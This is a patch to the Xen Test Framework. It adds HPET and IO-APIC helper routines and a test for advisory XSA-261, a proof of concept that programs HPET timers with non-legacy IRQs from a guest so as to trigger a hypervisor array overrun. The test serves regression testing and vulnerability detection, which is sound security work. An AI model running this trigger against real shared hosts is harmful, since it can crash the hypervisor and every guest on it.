This requires adding some basic IO APIC and HPET functionality.
Signed-off-by: Roger Pau Monné <roger.pau@citrix.com>
Reviewed-by: Andrew Cooper <andrew.cooper3@citrix.com>
Compile fixes, misc cleanup and consistency improvements, and written
documentation.
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
#include <arch/hpet.h>
+unsigned int hpet_nr_timers;
+
+union hpet_timer {
+ uint32_t raw;
+ struct {
+ uint8_t :1;
+ bool level :1;
+ bool enabled :1;
+ bool periodic :1;
+ uint8_t :4;
+ bool mode_32bit :1;
+ uint8_t irq :5;
+ uint32_t :18;
+ };
+};
+
int hpet_init(void)
{
uint64_t id = hpet_read64(HPET_ID);
if ( period == 0 || period > HPET_ID_MAX_PERIOD )
return -ENODEV;
+ /* Get number of timers. */
+ hpet_nr_timers = MASK_EXTR(id, HPET_ID_NUMBER_MASK) + 1;
+
return 0;
}
+void hpet_init_timer(unsigned int nr, unsigned int irq, uint64_t ticks,
+ bool level, bool periodic, bool mode32bit)
+{
+ uint64_t cfg;
+ union hpet_timer tm = {};
+
+ tm.level = level;
+ tm.enabled = true;
+ tm.periodic = periodic;
+ tm.mode_32bit = mode32bit;
+ tm.irq = irq;
+
+ /*
+ * Disable interrupts and reset main counter.
+ *
+ * Note that this is a testing HPET implementation and ATM we only expect
+ * a single timer to be tested simultaneously.
+ */
+ cfg = hpet_read64(HPET_CFG);
+ hpet_write64(HPET_CFG, cfg & ~HPET_CFG_ENABLE);
+ hpet_write64(HPET_COUNTER, 0);
+
+ /* Configure timer and setup comparator. */
+ hpet_write32(HPET_Tn_CFG(nr), tm.raw);
+ hpet_write64(HPET_Tn_CMP(nr), ticks);
+
+ /* Enable main counter. */
+ hpet_write64(HPET_CFG, cfg | HPET_CFG_ENABLE);
+}
+
/*
* Local variables:
* mode: C
#define XTF_X86_HPET_H
#include <xtf/numbers.h>
+#include <xtf/macro_magic.h>
#include <xtf/types.h>
#define HPET_ID 0x0
#define HPET_ID_MAX_PERIOD 0x05f5e100
+#define HPET_ID_NUMBER_MASK 0x1f00
+
+#define HPET_CFG 0x010
+#define HPET_CFG_ENABLE 0x001
+
+#define HPET_COUNTER 0x0f0
+
+#define HPET_Tn_CFG(n) (0x100 + (n) * 0x20)
+
+#define HPET_Tn_CMP(n) (0x108 + (n) * 0x20)
#define HPET_DEFAULT_BASE 0xfed00000
+/* Number of available HPET timers. */
+extern unsigned int hpet_nr_timers;
+
/**
* Discover and initialise the HPET. May fail if there is no HPET.
*/
*(volatile uint64_t *)(_p(HPET_DEFAULT_BASE) + reg) = val;
}
+/**
+ * Fetch the HPET main counter register.
+ */
+static inline uint64_t hpet_read_counter(void)
+{
+ if ( IS_DEFINED(CONFIG_64BIT) )
+ return hpet_read64(HPET_COUNTER);
+ else
+ {
+ uint32_t lo, hi;
+
+ do {
+ hi = hpet_read32(HPET_COUNTER + 4);
+ lo = hpet_read32(HPET_COUNTER);
+ } while ( hi != hpet_read32(HPET_COUNTER + 4) );
+
+ return ((uint64_t)hi << 32) | lo;
+ }
+}
+
+/**
+ * Setup and enable a specific HPET timer.
+ */
+void hpet_init_timer(unsigned int nr, unsigned int irq, uint64_t ticks,
+ bool level, bool periodic, bool mode32bit);
+
#endif /* !XTF_X86_HPET_H */
/*
/* IO-APIC registers. */
#define IOAPIC_ID 0x0
+#define IOAPIC_VERSION 0x1
+#define IOAPIC_MAXREDIR_MASK 0xff0000
+
+#define IOAPIC_REDIR_ENTRY(e) (0x10 + (e) * 2)
+#define IOAPIC_REDIR_MASK_SHIFT 16
#define IOAPIC_DEFAULT_BASE 0xfec00000
ioapic_write32(reg + 1, val >> 32);
}
+/**
+ * Set the mask bit on a redirection entry.
+ */
+int ioapic_set_mask(unsigned int entry, bool mask);
+
#endif /* !XTF_X86_IO_APIC_H */
/*
#include <arch/io-apic.h>
+static unsigned int nr_entries;
+
int ioapic_init(void)
{
uint32_t id = ioapic_read32(IOAPIC_ID);
if ( id == ~0u )
return -ENODEV;
+ nr_entries = MASK_EXTR(ioapic_read32(IOAPIC_VERSION),
+ IOAPIC_MAXREDIR_MASK) + 1;
+
+ return 0;
+}
+
+int ioapic_set_mask(unsigned int entry, bool mask)
+{
+ uint32_t redir;
+
+ if ( entry >= nr_entries )
+ return -EINVAL;
+
+ redir = ioapic_read32(IOAPIC_REDIR_ENTRY(entry));
+ redir &= ~(1u << IOAPIC_REDIR_MASK_SHIFT);
+ if ( mask )
+ redir |= 1u << IOAPIC_REDIR_MASK_SHIFT;
+ ioapic_write32(IOAPIC_REDIR_ENTRY(entry), redir);
+
return 0;
}
@subpage test-xsa-260 - x86: mishandling of debug exceptions.
+@subpage test-xsa-261 - vHPET interrupt injection memory corruption.
+
@section index-utility Utilities
*/
#define IS_ALIGNED(val, align) (((val) & ((align) - 1)) == 0)
+#define MASK_EXTR(v, m) (((v) & (m)) / ((m) & -(m)))
+#define MASK_INSR(v, m) (((v) * ((m) & -(m))) & (m))
+
#ifndef __ASSEMBLY__
/**
--- /dev/null
+include $(ROOT)/build/common.mk
+
+NAME := xsa-261
+CATEGORY := xsa
+TEST-ENVS := hvm64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
--- /dev/null
+/**
+ * @file tests/xsa-261/main.c
+ * @ref test-xsa-261
+ *
+ * @page test-xsa-261 XSA-261
+ *
+ * Advisory: [XSA-261](http://xenbits.xen.org/xsa/advisory-261.html)
+ *
+ * Before XSA-261, Xen didn't implement IO-APIC interrupt routing for HPET
+ * timers properly, and attempting to configure a IRQ above the legacy PIC
+ * range resulted in an array overrun.
+ *
+ * This test attempts to configure the non-legacy IRQs for each timer. If
+ * vulnerable, Xen will generally crash on the first IRQ attempt, but this
+ * does depend on the exact compiled layout of `struct domain`. If Xen hasn't
+ * crashed by the end of the loops, it is most likely not vulnerable.
+ *
+ * @see tests/xsa-261/main.c
+ */
+#include <xtf.h>
+
+const char test_title[] = "XSA-261 PoC";
+
+void test_main(void)
+{
+ unsigned int timer, irq;
+
+ if ( hpet_init() || !hpet_nr_timers )
+ return xtf_skip("Skip: No working HPET\n");
+
+ if ( ioapic_init() )
+ return xtf_skip("Skip: No working IO-APIC\n");
+
+ /*
+ * Attempt to test all timers using non-ISA IRQs, regardless of whether
+ * the timer supports them or not.
+ */
+ for ( timer = 0; timer < hpet_nr_timers; timer++ )
+ {
+ for ( irq = 16; irq < 32; irq++ )
+ {
+ if ( ioapic_set_mask(irq, false) )
+ return xtf_error("Error: cannot unmask IRQ %u on the IO APIC\n",
+ irq);
+
+ hpet_init_timer(timer, irq, 1, false, false, false);
+
+ while ( hpet_read_counter() < 1 );
+ }
+ }
+
+ /* Xen still hasn't crashed? Most likely not vulnerable. */
+ xtf_success("Success: Probably not vulnerable to XSA-261\n");
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */